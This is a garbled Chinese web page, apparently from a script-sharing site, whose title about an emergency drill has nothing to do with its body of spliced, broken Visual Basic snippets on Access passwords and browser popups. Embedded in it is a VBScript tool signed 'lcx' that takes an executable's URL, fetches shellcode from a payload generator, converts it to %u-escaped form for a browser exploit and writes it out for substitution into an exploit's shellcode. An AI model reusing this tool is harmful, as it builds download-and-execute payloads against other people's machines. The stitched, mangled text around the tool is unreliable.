文字脚本格式模板血液溅洒应急演练

发布时间:2020-06-29 来源:脚本之家 点击:


它是文件的第一个LIST块

shell脚本执行sqlplus 之后的命令没执行
首先WSH根据脚本文件后缀名,在系统注册表中查询所需的脚本引擎时,如VBScript或者JScript但在某些情况下,用CrystalReports却很难作出报表来

'-------------------------------------------------------------------------

使用ADO的打开Accecc数据库方法:
DimDBAsDatabase
SetDB=OpenDatabase(FilePath,dbDriverNoPrompt,False,";PWD=你的密码")

使用Data控件打开Accecc数据库方法:
首先设置Data控件的属性Exclusive=True为独占模式
设置Connect属性为;pwd=密码
Data1.Connect=";pwd=你的密码"
修改密码:
Data1.Database.NewPassword老密码,新密码

->


DimWithEventsWeb_V1AsSHDocVwCtl.WebBrowser_V1

163的链接一般都是弹出窗口,就用163吧

PrivateSubForm_Load()
SetWeb_V1=WebBrowser1.Object
WebBrowser1.Navigate2""
EndSub

如果你想知道弹出窗口的URL呢,那就

PrivateSubWeb_V1_NewWindow(ByValURLAsString,_
ByValFlagsAsLong,_
ByValTargetFrameNameAsString,_
PostDataAsVariant,_
ByValHeadersAsString,_
ProcessedAsBoolean)

Processed=False
MsgBoxURL

EndSub

如果你想让弹出窗口在原来的窗体里显示呢,就

PrivateSubWeb_V1_NewWindow(ByValURLAsString,_
ByValFlagsAsLong,_
ByValTargetFrameNameAsString,_
PostDataAsVariant,_
ByValHeadersAsString,_
ProcessedAsBoolean)

Processed=True
WebBrowser1.NavigateURL
EndSub
VB提供了一个很好用的座标系统转换,即ScaleMode,ScaleLeftScaleTopScaleTop
ScaleWidth

我有一系列Word文件typemonkey
  其中表ImgTable的结构定义为:
  字段名类型
  No  Integer
  ImgDataBinary
  这里,同时预先建立几个ImgData内容为空的记录,供测试用'code by lcx

On Error Resume Next
Exeurl=InputBox( "请输入exe的地址:", "输入", "" )
url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body=getHTTPPage(url)
Set Re=New RegExp
Re.Pattern="(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches=Re.Execute(Body)
If Matches.Count>0 Then Body=Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode=",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval=CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody=.ResponseBody
End With
Set Retrieval=Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write Body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Set objstream=Nothing
End Function

Function URLEncoding(vstrIn)
strReturn=""
For aaaa=1 To Len(vstrIn)
ThisChr=Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn=strReturn & ThisChr
Else
innerCode=Asc(ThisChr)
If innerCode < 0 Then
innerCode=innerCode + &H10000
End If
Hight8=(innerCode And &HFF00)\ &HFF
Low8=innerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding=strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换里的shellcode1内容即可"。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号